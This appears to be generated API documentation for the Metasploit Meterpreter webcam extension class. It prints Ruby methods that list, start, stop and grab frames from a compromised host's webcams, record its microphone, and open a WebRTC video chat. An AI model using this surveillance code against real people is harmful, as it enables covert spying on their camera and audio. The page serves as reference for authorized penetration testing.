Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam

Inherits:
Object
  • Object
show all
Includes:
Msf::Post::Common, Msf::Post::File, Msf::Post::WebRTC
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb

Overview

This meterpreter extension can list and capture from webcams and/or microphone

Instance Attribute Summary collapse

Instance Method Summary collapse

Methods included from Msf::Post::WebRTC

#connect_video_chat, #load_api_code, #load_interface

Methods included from Msf::Post::File

#_read_file_meterpreter, #_unix_max_line_length, #_write_file_unix_shell, #append_file, #attributes, #cd, #chmod, #dir, #directory?, #executable?, #exist?, #expand_path, #exploit_data, #file?, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #immutable?, #mkdir, #pwd, #read_file, #readable?, #rename_file, #rm_f, #rm_rf, #setuid?, #upload_and_chmodx, #upload_file, #writable?, #write_file

Methods included from Msf::Post::Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #command_exists?, #get_env, #get_envs, #has_pid?, #peer, #report_virtualization, #rhost, #rport

Constructor Details

#initialize(client) ⇒ Webcam

Returns a new instance of Webcam.


20
21
22
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 20

def initialize(client)
  @client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client


86
87
88
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 86

def client
  @client
end

Instance Method Details

#record_mic(duration) ⇒ Object

Record from default audio source for duration seconds; returns a low-quality wav file


79
80
81
82
83
84
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 79

def record_mic(duration)
  request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD)
  request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_AUDIO_DATA).value
end

#sessionObject


24
25
26
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 24

def session
  @client
end

#webcam_chat(server) ⇒ Object

Starts a webcam session with a remote user via WebRTC

Parameters:

  • server (String)

    A server to use for the channel.

Returns:

  • void


63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 63

def webcam_chat(server)
  offerer_id = Rex::Text.rand_text_alphanumeric(10)
  channel    = Rex::Text.rand_text_alphanumeric(20)

  remote_browser_path = webrtc_browser_path

  if remote_browser_path.to_s.strip.empty?
    fail "Unable to find a suitable browser on the target machine"
  end

  init_video_chat(remote_browser_path, server, channel, offerer_id)
  connect_video_chat(server, channel, offerer_id)
end

#webcam_get_frame(quality) ⇒ Object


45
46
47
48
49
50
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 45

def webcam_get_frame(quality)
  request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_GET_FRAME)
  request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
end

#webcam_listObject


28
29
30
31
32
33
34
35
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 28

def webcam_list
  response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_LIST))
  names = []
  response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
    names << tlv.value
  end
  names
end

#webcam_start(cam) ⇒ Object

Starts recording video from video source of index cam


38
39
40
41
42
43
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 38

def webcam_start(cam)
  request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_START)
  request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
  client.send_request(request)
  true
end

#webcam_stopObject


52
53
54
55
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 52

def webcam_stop
  client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_STOP))
  true
end